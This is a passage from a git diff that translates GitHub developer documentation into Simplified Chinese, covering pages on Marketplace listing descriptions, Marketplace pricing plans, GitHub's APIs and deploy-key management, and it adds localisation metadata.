in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/article/establish-a-patch-management-policy-87756/)." +如果您还没有准备好设置完整的漏洞管理程序,最好先创建一个修补流程。 有关创建修补程序管理策略的指南,请参阅此 TechRepublic 文章:“[建立修补程序管理策略](https://www.techrepublic.com/article/establish-a-patch-management-policy-87756/)”。 diff --git a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md index 0725eb52ca..28b9b22cb7 100644 --- a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md +++ b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md @@ -1,6 +1,6 @@ --- -title: Writing a listing description for your app -intro: 'To [list your app](/marketplace/listing-on-github-marketplace/) in the {% data variables.product.prodname_marketplace %}, you''ll need to write descriptions of your app and provide images that follow GitHub''s guidelines.' +title: 编写应用程序的上架说明 +intro: '要在 {% data variables.product.prodname_marketplace %} 中[上架应用](/marketplace/listing-on-github-marketplace/),你需要根据 GitHub 的指南编写应用说明并提供图像。' redirect_from: - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-writing-github-app-descriptions - /apps/marketplace/creating-and-submitting-your-app-for-approval/writing-github-app-descriptions @@ -17,180 +17,186 @@ versions: topics: - Marketplace shortTitle: Write listing descriptions +ms.openlocfilehash: f29e049529801011d25d2723c5851b56d7a8bb92 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146139254' --- -Here are guidelines about the fields you'll need to fill out in the **Listing description** section of your draft listing. +下面是关于需要在商品草稿的“商品说明”部分填写的字段的指南。 -## Naming and links +## 命名和链接 -### Listing name +### 上架产品名称 -Your listing's name will appear on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). The name is limited to 255 characters and can be different from your app's name. Your listing cannot have the same name as an existing account on {% data variables.location.product_location %}, unless the name is your own user or organization name. +你的商品名称将显示在 [{% data variables.product.prodname_marketplace %} 主页](https://github.com/marketplace)上。 名称仅限于 255 个字符,可能与应用名称不同。 您的列表不能与 {% data variables.product.product_location %} 上现有的帐户同名,除非该名称是您自己的用户或组织名称。 -### Very short description +### 简短说明 -The community will see the "very short" description under your app's name on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). +社区将在 [{% data variables.product.prodname_marketplace %} 主页](https://github.com/marketplace)上看到应用名称下的“非常简短的”说明。 -![{% data variables.product.prodname_marketplace %} app short description](/assets/images/marketplace/marketplace_short_description.png) +![{% data variables.product.prodname_marketplace %} 应用程序简短说明](/assets/images/marketplace/marketplace_short_description.png) -#### Length +#### 长度 -We recommend keeping short descriptions to 40-80 characters. Although you are allowed to use more characters, concise descriptions are easier for customers to read and understand quickly. +我们建议将简短说明控制在 40-80 个字符。 尽管可以使用更多字符,但简洁的描述使客户更容易快速阅读和理解。 -#### Content +#### 内容 -- Describe the app’s functionality. Don't use this space for a call to action. For example: +- 介绍应用程序的功能。 不要在此空间使用呼吁用语。 例如: - **DO:** Lightweight project management for GitHub issues + 可以:针对 GitHub 问题的轻型项目管理 - **DON'T:** Manage your projects and issues on GitHub + 不可:管理 GitHub 上的项目和问题 - **Tip:** Add an "s" to the end of the verb in a call to action to turn it into an acceptable description: _Manages your projects and issues on GitHub_ + 提示:在呼吁用语中的谓词末尾加上“s”,将其转变为可接受的说明:Manages your projects and issues on GitHub(管理 GitHub 上的项目和问题) -- Don’t repeat the app’s name in the description. +- 不要在说明中重复应用程序的名称。 - **DO:** A container-native continuous integration tool + 可以:容器原生持续集成工具 - **DON'T:** Skycap is a container-native continuous integration tool + 不可:Skycap 是一种容器原生持续集成工具 -#### Formatting +#### 格式化 -- Always use sentence-case capitalization. Only capitalize the first letter and proper nouns. +- 始终使用句子大小写规则。 只大写第一个字母和专有名词。 -- Don't use punctuation at the end of your short description. Short descriptions should not include complete sentences, and definitely should not include more than one sentence. +- 在简短说明的末尾不要使用标点符号。 简短说明不应包含完整的句子,并且绝对不能包含一个以上的句子。 -- Only capitalize proper nouns. For example: +- 仅大写专有名词。 例如: - **DO:** One-click delivery automation for web developers + 可以:One-click delivery automation for web developers - **DON'T:** One-click delivery automation for Web Developers + 不可:One-click delivery automation for Web Developers -- Always use a [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists. +- 始终在列表中使用[连续逗号](https://en.wikipedia.org/wiki/Serial_comma)。 -- Avoid referring to the GitHub community as "users." +- 避免将 GitHub 社区称为“用户”。 - **DO:** Create issues automatically for people in your organization + 可以:为组织中的人员自动创建问题 - **DON'T:** Create issues automatically for an organization's users + 不可:为组织的用户自动创建问题 -- Avoid acronyms unless they’re well established (such as API). For example: +- 避免使用首字母缩写词,除非是约定俗成的缩写(如 API)。 例如: - **DO:** Agile task boards, estimates, and reports without leaving GitHub + 可以:Agile task boards, estimates, and reports without leaving GitHub - **DON'T:** Agile task boards, estimates, and reports without leaving GitHub’s UI + 不可:Agile task boards, estimates, and reports without leaving GitHub’s UI -### Categories +### 类别 -Apps in {% data variables.product.prodname_marketplace %} can be displayed by category. Select the category that best describes the main functionality of your app in the **Primary category** dropdown, and optionally select a **Secondary category** that fits your app. +{% data variables.product.prodname_marketplace %} 中的应用程序可以按类别显示。 在“主要类别”下拉列表中选择最能描述应用的主要功能的类别,并(可选)选择适合应用的“辅助类别” 。 -### Supported languages +### 支持的语言 -If your app only works with specific languages, select up to 10 programming languages that your app supports. These languages are displayed on your app's {% data variables.product.prodname_marketplace %} listing page. This field is optional. +如果您的应用程序仅适用于特定语言,请选择它支持的最多 10 种编程语言。 这些语言显示在应用程序的 {% data variables.product.prodname_marketplace %} 上架信息页面上。 此字段可选。 -### Listing URLs +### 上架信息中的 URL -**Required URLs** -* **Customer support URL:** The URL of a web page that your customers will go to when they have technical support, product, or account inquiries. -* **Privacy policy URL:** The web page that displays your app's privacy policy. -* **Installation URL:** This field is shown for OAuth Apps only. (GitHub Apps don't use this URL because they use the optional Setup URL from the GitHub App's settings page instead.) When a customer purchases your OAuth App, GitHub will redirect customers to the installation URL after they install the app. You will need to redirect customers to `https://github.com/login/oauth/authorize` to begin the OAuth authorization flow. See "[New purchases for OAuth Apps](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for more details. Skip this field if you're listing a GitHub App. +**所需 URL** +* 客户支持 URL:当客户进行技术支持、产品或帐户查询时,他们将访问的网页的 URL。 +* 隐私策略 URL:显示应用的隐私策略的网页。 +* 安装 URL:仅针对 OAuth 应用显示此字段。 (GitHub 应用不使用此 URL,因为它们使用 GitHub 应用的设置页面中的可选设置 URL。)当客户购买 OAuth 应用时,GitHub 会在客户安装该应用后将其重定向到安装 URL。 需要将客户重定向到 `https://github.com/login/oauth/authorize` 以开始 OAuth 授权流。 有关更多详细信息,请参阅“[OAuth 应用的新购买](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)”。 如果您要上架 GitHub 应用程序,请跳过此字段。 -**Optional URLs** -* **Company URL:** A link to your company's website. -* **Status URL:** A link to a web page that displays the status of your app. Status pages can include current and historical incident reports, web application uptime status, and scheduled maintenance. -* **Documentation URL:** A link to documentation that teaches customers how to use your app. +**可选 URL** +* 公司 URL:指向公司网站的链接。 +* 状态 URL:指向显示应用状态的网页的链接。 状态页面可以包括当前和历史事件报告、Web 应用程序正常运行时间状态以及预定维护。 +* 文档 URL:指向指导客户如何使用应用的文档的链接。 -## Logo and feature card +## 徽标和特征卡 -{% data variables.product.prodname_marketplace %} displays all listings with a square logo image inside a circular badge to visually distinguish apps. +{% data variables.product.prodname_marketplace %} 使用圆形徽章内的方形徽标图像显示所有上架产品,以便从视觉上区分应用程序。 -![GitHub Marketplace logo and badge images](/assets/images/marketplace/marketplace-logo-and-badge.png) +![GitHub Marketplace 徽标和徽章图像](/assets/images/marketplace/marketplace-logo-and-badge.png) -A feature card consists of your app's logo, name, and a custom background image that captures your brand personality. {% data variables.product.prodname_marketplace %} displays this card if your app is one of the four randomly featured apps at the top of the [homepage](https://github.com/marketplace). Each app's very short description is displayed below its feature card. +特征卡由应用程序的徽标、名称和自定义背景图像组成,可体现您的品牌个性。 如果你的应用是[主页](https://github.com/marketplace)顶部的四个随机特色应用之一,{% data variables.product.prodname_marketplace %} 将显示此卡片。 每个应用程序的简短说明显示在其特征卡的下方。 -![Feature card](/assets/images/marketplace/marketplace_feature_card.png) +![特征卡](/assets/images/marketplace/marketplace_feature_card.png) -As you upload images and select colors, your {% data variables.product.prodname_marketplace %} draft listing will display a preview of your logo and feature card. +当您上传图像和选择颜色时,{% data variables.product.prodname_marketplace %} 上架草稿将显示徽标和特征卡的预览。 -#### Guidelines for logos +#### 徽标指南 -You must upload a custom image for the logo. For the badge, choose a background color. +您必须上传徽标的自定义图像。 对于徽章,请选择背景颜色。 -- Upload a logo image that is at least 200 pixels x 200 pixels so your logo won't have to be upscaled when your listing is published. -- Logos will be cropped to a square. We recommend uploading a square image file with your logo in the center. -- For best results, upload a logo image with a transparent background. -- To give the appearance of a seamless badge, choose a badge background color that matches the background color (or transparency) of your logo image. -- Avoid using logo images with words or text in them. Logos with text do not scale well on small screens. +- 上传至少为 200 像素 x 200 像素的徽标图像,这样在发布上架信息时就不必放大徽标。 +- 徽标将被裁剪为正方形。 建议上传徽标居中的正方形图像文件。 +- 为获得最佳效果,请上传透明背景的徽标图像。 +- 要显示无缝徽章的外观,请选择与徽标图像的背景颜色(或透明度)匹配的徽章背景颜色。 +- 避免使用带有文字的徽标图像。 带有文字的徽标在小屏幕上缩放效果不佳。 -#### Guidelines for feature cards +#### 特征卡指南 -You must upload a custom background image for the feature card. For the app's name, choose a text color. +您必须上传特征卡的自定义背景图像。 对于应用程序的名称,请选择文本颜色。 -- Use a pattern or texture in your background image to give your card a visual identity and help it stand out against the dark background of the {% data variables.product.prodname_marketplace %} homepage. Feature cards should capture your app's brand personality. -- Background image measures 965 pixels x 482 pixels (width x height). -- Choose a text color for your app's name that shows up clearly over the background image. +- 在背景图像中使用图案或纹理赋予卡片视觉特征,使其在 {% data variables.product.prodname_marketplace %} 主页的深色背景下引人注目。 特征卡应体现应用程序的品牌个性。 +- 背景图像尺寸为 965 像素 x 482 像素(宽 x 高)。 +- 为应用程序的名称选择文本颜色,使其清晰地显示在背景图像上。 -## Listing details +## 商品详细信息 -To get to your app's landing page, click your app's name from the {% data variables.product.prodname_marketplace %} homepage or category page. The landing page displays a longer description of the app, which includes two parts: an "Introductory description" and a "Detailed description." +要获取应用程序的登录页面,请在 {% data variables.product.prodname_marketplace %} 主页或类别页面上单击应用程序的名称。 登录页面显示应用程序的较长说明,包括两个部分:“Introductory description(简介)”和“Detailed description(详细说明)”。 -Your "Introductory description" is displayed at the top of your app's {% data variables.product.prodname_marketplace %} landing page. +“Introductory description(简介)”显示在应用程序 {% data variables.product.prodname_marketplace %} 登录页面的顶部。 -![{% data variables.product.prodname_marketplace %} introductory description](/assets/images/marketplace/marketplace_intro_description.png) +![{% data variables.product.prodname_marketplace %} 简介](/assets/images/marketplace/marketplace_intro_description.png) -Clicking **Read more...**, displays the "Detailed description." +单击“阅读更多......”显示“详细说明”。 -![{% data variables.product.prodname_marketplace %} detailed description](/assets/images/marketplace/marketplace_detailed_description.png) +![{% data variables.product.prodname_marketplace %} 详细说明](/assets/images/marketplace/marketplace_detailed_description.png) -Follow these guidelines for writing these descriptions. +请遵循以下指南编写这些说明。 -### Length +### 长度 -We recommend writing a 1-2 sentence high-level summary between 150-250 characters in the required "Introductory description" field when [listing your app](/marketplace/listing-on-github-marketplace/). Although you are allowed to use more characters, concise summaries are easier for customers to read and understand quickly. +建议在[列出应用](/marketplace/listing-on-github-marketplace/)时,在所需的“介绍性说明”字段中编写 1-2 句简要摘要(介于 150-250 个字符之间)。 尽管可以使用更多字符,但简洁的概述使客户更容易快速阅读和理解。 -You can add more information in the optional "Detailed description" field. You see this description when you click **Read more...** below the introductory description on your app's landing page. A detailed description consists of 3-5 [value propositions](https://en.wikipedia.org/wiki/Value_proposition), with 1-2 sentences describing each one. You can use up to 1,000 characters for this description. +您可以在可选的“Detailed description(详细说明)”字段中添加更多信息。 在单击应用登陆页上的介绍性说明下方的“阅读更多......”时,将看到此说明。 详细说明包含 3-5 个[价值主张](https://en.wikipedia.org/wiki/Value_proposition),每个主张用 1-2 个句子描述。 此说明最多可以使用 1,000 个字符。 -### Content +### 内容 -- Always begin introductory descriptions with your app's name. +- 始终用应用程序的名称开始简介。 -- Always write descriptions and value propositions using the active voice. +- 始终用主动语态编写说明和价值主张。 -### Formatting +### 格式化 -- Always use sentence-case capitalization in value proposition titles. Only capitalize the first letter and proper nouns. +- 始终在价值主张标题中使用句子大小写规则。 只大写第一个字母和专有名词。 -- Use periods in your descriptions. Avoid exclamation marks. +- 在说明中使用句点。 避免使用感叹号。 -- Don't use punctuation at the end of your value proposition titles. Value proposition titles should not include complete sentences, and should not include more than one sentence. +- 在价值主张标题的末尾不要使用标点符号。 价值主张标题不应包含完整的句子,并且不能包含一个以上的句子。 -- For each value proposition, include a title followed by a paragraph of description. Format the title as a [level-three header](/articles/basic-writing-and-formatting-syntax/#headings) using Markdown. For example: +- 对于每个价值主张,请在其标题后加上一段说明。 使用 Markdown 将标题的格式设置为[三级标头](/articles/basic-writing-and-formatting-syntax/#headings)。 例如: - ### Learn the skills you need + ### 学习所需的技能 - GitHub Skills can help you learn how to use GitHub, communicate more effectively with Markdown, handle merge conflicts, and more. + GitHub Skills 可以帮助你可学习如何使用 GitHub、如何使用 Markdown 更有效地沟通以及如何处理合并冲突等。 -- Only capitalize proper nouns. +- 仅大写专有名词。 -- Always use the [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists. +- 始终在列表中使用[连续逗号](https://en.wikipedia.org/wiki/Serial_comma)。 -- Avoid referring to the GitHub community as "users." +- 避免将 GitHub 社区称为“用户”。 - **DO:** Create issues automatically for people in your organization + 可以:为组织中的人员自动创建问题 - **DON'T:** Create issues automatically for an organization's users + 不可:为组织的用户自动创建问题 -- Avoid acronyms unless they’re well established (such as API). +- 避免使用首字母缩写词,除非是约定俗成的缩写(如 API)。 -## Product screenshots +## 产品屏幕截图 -You can upload up to five screenshot images of your app to display on your app's landing page. Add an optional caption to each screenshot to provide context. After you upload your screenshots, you can drag them into the order you want them to be displayed on the landing page. +您可以上传应用程序的最多五张屏幕截图,以显示在应用程序的登录页面上。 向每个屏幕截图添加可选标题以提供上下文。 上传屏幕截图后,您将其拖动到希望它们在登录页面上显示的位置。 -### Guidelines for screenshots +### 屏幕截图指南 -- Images must be of high resolution (at least 1200px wide). -- All images must be the same height and width (aspect ratio) to avoid page jumps when people click from one image to the next. -- Show as much of the user interface as possible so people can see what your app does. -- When taking screenshots of your app in a browser, only include the content in the display window. Avoid including the address bar, title bar, or toolbar icons, which do not scale well to smaller screen sizes. -- GitHub displays the screenshots you upload in a box on your app's landing page, so you don't need to add boxes or borders around your screenshots. -- Captions are most effective when they are short and snappy. +- 图像必须具有高分辨率(至少 1200 像素宽)。 +- 所有图像必须具有相同的高度和宽度(宽高比),以避免用户切换图像时出现页面跳跃。 +- 显示尽可能多的用户界面,以便用户看到应用程序执行的操作。 +- 在浏览器中截取应用程序的屏幕时,仅包括显示窗口中的内容。 避免包括地址栏、标题栏或工具栏图标,它们不能很好地适应较小的屏幕尺寸。 +- GitHub 在应用程序登录页面的图框中显示您上传的屏幕截图,因此您无需在屏幕截图周围添加图框或边框。 +- 简短明快的字幕效果最好。 -![GitHub Marketplace screenshot image](/assets/images/marketplace/marketplace-screenshots.png) +![GitHub Marketplace 屏幕截图](/assets/images/marketplace/marketplace-screenshots.png) diff --git a/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md b/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md index 39aa90ed6b..bbf5297755 100644 --- a/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md +++ b/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -1,6 +1,6 @@ --- -title: Pricing plans for GitHub Marketplace apps -intro: 'Pricing plans allow you to provide your app with different levels of service or resources. You can offer up to 10 pricing plans in your {% data variables.product.prodname_marketplace %} listing.' +title: GitHub Marketplace 应用程序的定价计划 +intro: '定价计划允许您为应用程序提供不同级别的服务或资源。 您可以在 {% data variables.product.prodname_marketplace %} 上架信息中提供最多 10 个定价计划。' redirect_from: - /apps/marketplace/selling-your-app/github-marketplace-pricing-plans - /marketplace/selling-your-app/github-marketplace-pricing-plans @@ -11,49 +11,55 @@ versions: topics: - Marketplace shortTitle: Pricing plans for apps +ms.openlocfilehash: e1ab751c26e59ec42e16dc7d9e5c0118dedffbde +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147876069' --- -{% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to apps published by verified publishers. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)." +{% data variables.product.prodname_marketplace %} 定价计划可以是免费、统一定价或每单位定价。 价格以美元设置、显示和处理。 付费计划仅限验证的发布者发布的应用。 有关成为已验证发布者的详细信息,请参阅“[为组织申请发布者验证](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)”。 -Customers purchase your app using a payment method attached to their account on {% data variables.location.product_location %}, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." +客户使用附加到其在 {% data variables.product.product_location %} 上帐户的付款方式购买您的应用程序,而不必离开 {% data variables.product.prodname_dotcom_the_website %}。 您不必编写代码来执行结算交易,但必须处理来自 {% data variables.product.prodname_marketplace %} API 的事件。 有关详细信息,请参阅“[在应用中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。 -If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. +如果您在 {% data variables.product.prodname_marketplace %} 中上架的应用程序有多个计划选项,您可以设置相应的定价计划。 例如,如果您的应用程序有两个计划选项:开源计划和专业计划,您可以为开源计划设置一个免费定价计划,为专业计划设置一个统一定价计划。 每个 {% data variables.product.prodname_marketplace %} 上架产品必须为列出的每个计划提供年度和月度价格。 -For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." +有关如何创建定价计划的详细信息,请参阅“[设置 {% data variables.product.prodname_marketplace %} 上架的定价计划](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)”。 {% data reusables.marketplace.free-plan-note %} -## Types of pricing plans +## 定价计划的类型 -### Free pricing plans +### 免费定价计划 {% data reusables.marketplace.free-apps-encouraged %} -Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. +免费计划对用户完全免费。 如果您设置免费定价计划,则无法向选择免费定价计划的用户收取使用应用程序的费用。 您可以为上架产品同时创建免费和付费计划。 -All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." +所有应用程序都需要处理新购买和取消事件。 仅含免费计划的应用程序无需处理免费试用、升级和降级事件。 有关详细信息,请参阅“[在应用中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。 -If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. +如果您向已作为免费服务在 {% data variables.product.prodname_marketplace %} 中上架的应用程序添加付费计划,则需要请求验证应用程序并完成财务手续。 -### Paid pricing plans +### 付费定价计划 -There are two types of paid pricing plan: +有两种类型的付费定价计划: -- Flat rate pricing plans charge a set fee on a monthly and yearly basis. +- 统一定价计划按月和按年收取固定费用。 -- Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). +- 每单位定价计划按月或按年向您指定的单位收取固定费用。 “单位”可以是您愿意指定的任何对象(例如用户、席位或人员)。 -You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. +您可能还希望提供免费试用。 这些选项为客户提供为期 14 天免费试用 OAuth 或 GitHub 应用程序的机会。 设置 Marketplace 定价计划时,您可以选择为统一定价或每单位定价计划提供免费试用选项。 -## Free trials +## 免费试用 -Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. +客户可以免费试用 Marketplace 上架产品中包含免费试用选项的任何付费计划。 但是,客户不能对一个 Marketplace 产品使用多次免费试用机会。 -Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. +免费试用的固定期限为 14 天。 客户在试用期结束前 4 天(免费试用期第 11 天)收到通知,他们的计划将升级。 在免费试用结束时,如果客户不取消,他们将自动注册到他们正在试用的计划中。 -For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/handling-new-purchases-and-free-trials/)." +有关详细信息,请参阅“[处理新购买和免费试用](/developers/github-marketplace/handling-new-purchases-and-free-trials/)”。 {% note %} -**Note:** GitHub expects you to delete any private customer data within 30 days of a cancelled trial, beginning at the receipt of the cancellation event. +注意:GitHub 希望你在取消试用后 30 天(从收到取消事件开始算起)内删除任何私人客户数据。 {% endnote %} diff --git a/translations/zh-CN/content/developers/overview/about-githubs-apis.md b/translations/zh-CN/content/developers/overview/about-githubs-apis.md index dbaa547ee2..0577d28a85 100644 --- a/translations/zh-CN/content/developers/overview/about-githubs-apis.md +++ b/translations/zh-CN/content/developers/overview/about-githubs-apis.md @@ -1,6 +1,6 @@ --- -title: About GitHub's APIs -intro: 'Learn about {% data variables.product.prodname_dotcom %}''s APIs to extend and customize your {% data variables.product.prodname_dotcom %} experience.' +title: 关于 GitHub 的 API +intro: '了解 {% data variables.product.prodname_dotcom %} 的 API 以扩展和自定义您的 {% data variables.product.prodname_dotcom %} 体验。' redirect_from: - /v3/versions - /articles/getting-started-with-the-api @@ -12,70 +12,11 @@ versions: ghec: '*' topics: - API +ms.openlocfilehash: 6c4519222ce356e2b205b66f898a096ebacf8d9c +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147682642' --- - -## About {% data variables.product.company_short %}'s APIs - -{% data variables.product.company_short %} provides two APIs: a REST API and a GraphQL API. You can interact with both APIs using {% data variables.product.prodname_cli %}, curl, the official Octokit libraries, and third party libraries. Occasionally, a feature may be supported on one API but not the other. - -You should use the API that best aligns with your needs and that you are most comfortable using. You don't need to exclusively use one API over the other. Node IDs let you move between the REST API and GraphQL API. For more information, see "[Using global node IDs](/graphql/guides/using-global-node-ids)." - -This article discusses the benefits of each API. For more information about the GraphQL API, see "[About the GraphQL API](/graphql/overview/about-the-graphql-api)." For more information about the REST API, see [the REST documentation](/rest). - -## Choosing the GraphQL API - -The GraphQL API returns exactly the data that you request. GraphQL also returns the data in a pre-known structure based on your request. In contrast, the REST API returns more data than you requested and returns it in a pre-determined structure. You can also accomplish the equivalent of multiple REST API request in a single GraphQL request. The ability to make fewer requests and fetch less data makes GraphQL appealing to developers of mobile applications. - -For example, to get the {% data variables.product.product_name %} login of ten of your followers, and the login of ten followers of each of your followers, you can send a single request like: - -```graphql -{ - viewer { - followers(first: 10) { - nodes { - login - followers(first: 10) { - nodes { - login - } - } - } - } - } -} -``` - -The response will be a JSON object that follows the structure of your request. - -In contrast, to get this same information from the REST API, you would need to first make a request to `GET /user/followers`. The API would return the login of each follower, along with other data about the followers that you don't need. Then, for each follower, you would need to make a request to `GET /users/{username}/followers`. In total, you would need to make 11 requests to get the same information that you could get from a single GraphQL request, and you would receive excess data. - -## Choosing the REST API - -Because REST APIs have been around for longer than GraphQL APIs, some developers are more comfortable with the REST API. Since REST APIs use standard HTTP verbs and concepts, many developers are already familiar with the basic concepts to use the REST API. - -For example, to create an issue in the `octocat/Spoon-Knife` repository, you would need to send a request to `POST /repos/octocat/Spoon-Knife/issues` with a JSON request body: - -```json -{ - "title": "Bug with feature X", - "body": "If you do A, then B happens" -} -``` - -In contrast, to make an issue using the GraphQL API, you would need to get the node ID of the `octocat/Spoon-Knife` repository and then send a request like: - -```graphql -mutation { - createIssue( - input: { - repositoryId: "MDEwOlJlcG9zaXRvcnkxMzAwMTky" - title: "Bug with feature X" - body: "If you do A, then B happens"} - ) { - issue { - number - url - } - } -} -``` +GitHub API 有两个稳定版本:[REST API](/rest) 和 [GraphQL API](/graphql)。 diff --git a/translations/zh-CN/content/developers/overview/managing-deploy-keys.md b/translations/zh-CN/content/developers/overview/managing-deploy-keys.md index 9f838c2051..8dd4778fa5 100644 --- a/translations/zh-CN/content/developers/overview/managing-deploy-keys.md +++ b/translations/zh-CN/content/developers/overview/managing-deploy-keys.md @@ -1,6 +1,6 @@ --- -title: Managing deploy keys -intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you. +title: 管理部署密钥 +intro: 了解在自动化部署脚本时管理服务器上的 SSH 密钥的不同方法,以及哪种方法最适合您。 redirect_from: - /guides/managing-deploy-keys - /v3/guides/managing-deploy-keys @@ -14,90 +14,91 @@ versions: ghec: '*' topics: - API +ms.openlocfilehash: 425535eb582c84801d79f00df751bb48d4a5b05e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146058466' --- +在自动执行部署脚本时,您可以使用 SSH 代理转发、HTTPS 结合 OAuth 令牌、部署密钥或机器用户来管理服务器上的 SSH 密钥。 +## SSH 代理转发 -You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users. +在许多情况下,尤其是在项目开始时,SSH 代理转发是最快和最简单的方法。 代理转发与本地开发计算机使用相同的 SSH 密钥。 -## SSH agent forwarding +#### 优点 -In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses. +* 无需生成或跟踪任何新密钥。 +* 没有密钥管理;用户在服务器上具有与本地相同的权限。 +* 服务器上没有存储密钥,因此,万一服务器受到破坏,您不需要搜索并删除泄露的密钥。 -#### Pros +#### 缺点 -* You do not have to generate or keep track of any new keys. -* There is no key management; users have the same permissions on the server that they do locally. -* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys. +* 用户必须通过 SSH 连接进行部署;无法使用自动部署流程。 +* 对于 Windows 用户来说,使用 SSH 代理转发可能比较麻烦。 -#### Cons +#### 设置 -* Users **must** SSH in to deploy; automated deploy processes can't be used. -* SSH agent forwarding can be troublesome to run for Windows users. +1. 在本地开启代理转发。 有关详细信息,请参阅[有关 SSH 代理转发的指南][ssh-agent-forwarding]。 +2. 将部署脚本设置为使用代理转发。 例如,在 bash 脚本上,启用代理转发将如下所示:`ssh -A serverA 'bash -s' < deploy.sh` -#### Setup +## 使用 OAuth 令牌进行 HTTPS 克隆 -1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information. -2. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this: -`ssh -A serverA 'bash -s' < deploy.sh` +如果不想使用 SSH 密钥,可以将 HTTPS 与 OAuth 令牌结合使用。 -## HTTPS cloning with OAuth tokens +#### 优点 -If you don't want to use SSH keys, you can use HTTPS with OAuth tokens. - -#### Pros - -* Anyone with access to the server can deploy the repository. -* Users don't have to change their local SSH settings. -* Multiple tokens (one for each user) are not needed; one token per server is enough. -* A token can be revoked at any time, turning it essentially into a one-use password. +* 有权访问服务器的任何人都可以部署仓库。 +* 用户不必更改其本地 SSH 设置。 +* 不需要多个令牌(每个用户一个);每个服务器一个令牌就足够了。 +* 令牌可随时撤销,本质上变成一次性密码。 {% ifversion ghes %} -* Generating new tokens can be easily scripted using [the OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization). +* 使用 [OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization) 可以轻松编写生成新令牌的脚本。 {% endif %} -#### Cons +#### 缺点 -* You must make sure that you configure your token with the correct access scopes. -* Tokens are essentially 